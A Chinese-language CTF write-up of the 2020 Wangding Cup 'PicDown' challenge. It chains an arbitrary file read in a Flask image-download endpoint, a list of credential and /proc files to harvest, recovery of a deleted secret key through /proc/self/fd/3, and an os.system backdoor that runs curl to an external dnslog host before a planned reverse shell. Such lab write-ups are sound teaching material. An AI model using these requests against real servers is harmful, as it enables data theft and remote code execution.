网鼎杯 2020 白虎组-PicDown

网络安全·CTF · 06-12 · 463 人浏览

一、漏洞点发现

进入靶场,发现存在一个表单,可以向page页面用GET请求方式发送一个名为url的参数,当你输入一个URL时会给你返回一个后缀为.jpg但内容为你的目标URL文件。

<!doctype html>
<html>
  <head>
    <title>test</title>
  </head>
  <body>
    <form action="/page" method="get">
      <input type="text" name="url"/>
    </form>
  </body>
</html>

经过测试,url参数存在任意文件读取漏洞:
访问/page?url=/etc/passwd

HTTP/1.1 200 OK
Server: openresty
Date: Wed, 12 Jun 2024 06:32:57 GMT
Content-Type: application/octet-stream
Content-Length: 961
Connection: close
Content-Disposition: attachment; filename=beautiful.jpg
Cache-Control: no-cache

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
app:x:1000:1000::/home/app:/bin/sh

二、利用漏洞进行信息收集

由于我们现在无法知道flag具体位置,考虑使用任意文件读取漏洞进行信息收集,尝试收集更多信息,以下是一些常见的Linux中的敏感文件。

Linux中的敏感文件

Linux 敏感信息

/etc/passwd
/etc/shadow
/etc/hosts
/root/.bash_history // root的bash历史记录
/root/.ssh/authorized_keys
/root/.mysql_history // mysql的bash历史记录
/root/.wget-hsts

SSH
/root/.ssh/id_rsa
/root/.ssh/id_rsa.pub
/root/.ssh/authorized_keys
/etc/ssh/sshd_config
/var/log/secure
/etc/sysconfig/network-scripts/ifcfg-eth0
/etc/syscomfig/network-scripts/ifcfg-eth1

应用配置文件

/opt/nginx/conf/nginx.conf // nginx的配置文件
/var/www/html/index.html // 默认web路径
/etc/my.cnf
/etc/httpd/conf/httpd.conf // httpd的配置文件
/proc/mounts // 文件系统挂载信息
/porc/config.gz // 内核本身存储用于内核构建的 gzip 内核配置文件副本
/proc/sched_debug // 提供cpu上正在运行的进程信息,可以获得进程的pid号,可以配合后面需要pid的利用
/proc/mounts // 挂载的文件系统列表
/proc/net/arp // arp表,可以获得内网其他机器的地址
/proc/net/route //路由表信息
/proc/net/tcp and /proc/net/udp // 活动连接的信息
/proc/net/fib_trie // 路由缓存
/proc/version // 内核版本

进程信息

/proc/self // PID可以用self替换
/proc/[PID]/cmdline // 当前程序的命令,可能包含有用的路径信息
/proc/[PID]/environ // 程序运行的环境变量信息,可以用来包含getshell
/proc/[PID]/cwd // 当前进程的当前进程运行目录的符号链接
/proc/[PID]/exe // 当前进程的可执行文件(完整路径)的符号链接

/proc/[PID]/fd/[#] // 访问file descriptors,某写情况可以读取到进程正在使用的文件,比如access.log
/proc/[PID]/fd/0 // 标准输入
/proc/[PID]/fd/1 // 标准输出
/proc/[PID]/fd/2 // 标准错误
/proc/[PID]/fd/[#] // 其他流

敏感文件利用

访问/page?url=/proc/self/cmdline

HTTP/1.1 200 OK
Server: openresty
Date: Wed, 12 Jun 2024 06:42:40 GMT
Content-Type: application/octet-stream
Content-Length: 15
Connection: close
Content-Disposition: attachment; filename=beautiful.jpg
Cache-Control: no-cache

python2\0app.py\0

这里返回了当前程序的命令,请注意这里存在两个\0,代表了命令行中的空格。

访问/page?url=app.py,返回了程序的源代码:

from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

# 从文件中读取了SECRET_KEY,并且删除了文件
# 这使得我们无法直接利用漏洞访问到SECRET_KEY
SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)
# 注意这里没有执行f.close()

@app.route('/')
def index():
    return render_template('search.html')


# 任意文件读取漏洞
@app.route('/page')
def page():
    url = request.args.get("url")
    try:
        if not url.lower().startswith("file"):
            res = urllib.urlopen(url)
            value = res.read()
            response = Response(value, mimetype='application/octet-stream')
            response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
            return response
        else:
            value = "HACK ERROR!"
    except:
        value = "SOMETHING WRONG!"
    return render_template('search.html', res=value)


# 接受两个GET参数,key用于验证用户身份,shell用于接受需要被执行的命令
# 一个很明显的无回显的RCE
@app.route('/no_one_know_the_manager')
def manager():
    key = request.args.get("key")
    print(SECRET_KEY)
    if key == SECRET_KEY:
        shell = request.args.get("shell")
        os.system(shell)
        res = "ok"
    else:
        res = "Wrong Key!"

    return res


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

根据代码审计的结果,表示我们接下来要尝试获取SECRET_KEY,使得我们能够通过/no_one_know_the_manager的身份验证,从而利用之后的RCE。

由于程序在删除文件时没有执行f.close(),使得我们可以通过/proc/self/fd/3来获取被打开的文件内容。
访问/page?url=/proc/self/fd/3

HTTP/1.1 200 OK
Server: openresty
Date: Wed, 12 Jun 2024 07:21:28 GMT
Content-Type: application/octet-stream
Content-Length: 45
Connection: close
Content-Disposition: attachment; filename=beautiful.jpg
Cache-Control: no-cache

LKtiD9IlJLBzb0N6ukxf8pglDtrD/naSrePoXvcn2H0=

三、RCE利用

获得SECRET_KEY后,便可以使用/no_one_know_the_manager的Shell接口,尝试执行curl 682tzc.dnslog.cn
访问/no_one_know_the_manager?key=LKtiD9IlJLBzb0N6ukxf8pglDtrD/naSrePoXvcn2H0=&shell=curl%20682tzc.dnslog.cn
RCE验证
成功执行命令,之后只需要反弹Shell就OK了,flag位置在/flag,所以一开始猜一下路径其实是可以直接拿到flag的,不过走完上面这套流程还是学到很多知识点的。

2020年 任意文件读取 CTF Linux 463 Views
本站已在互联网运行了 Theme Jasmine by Kent Liao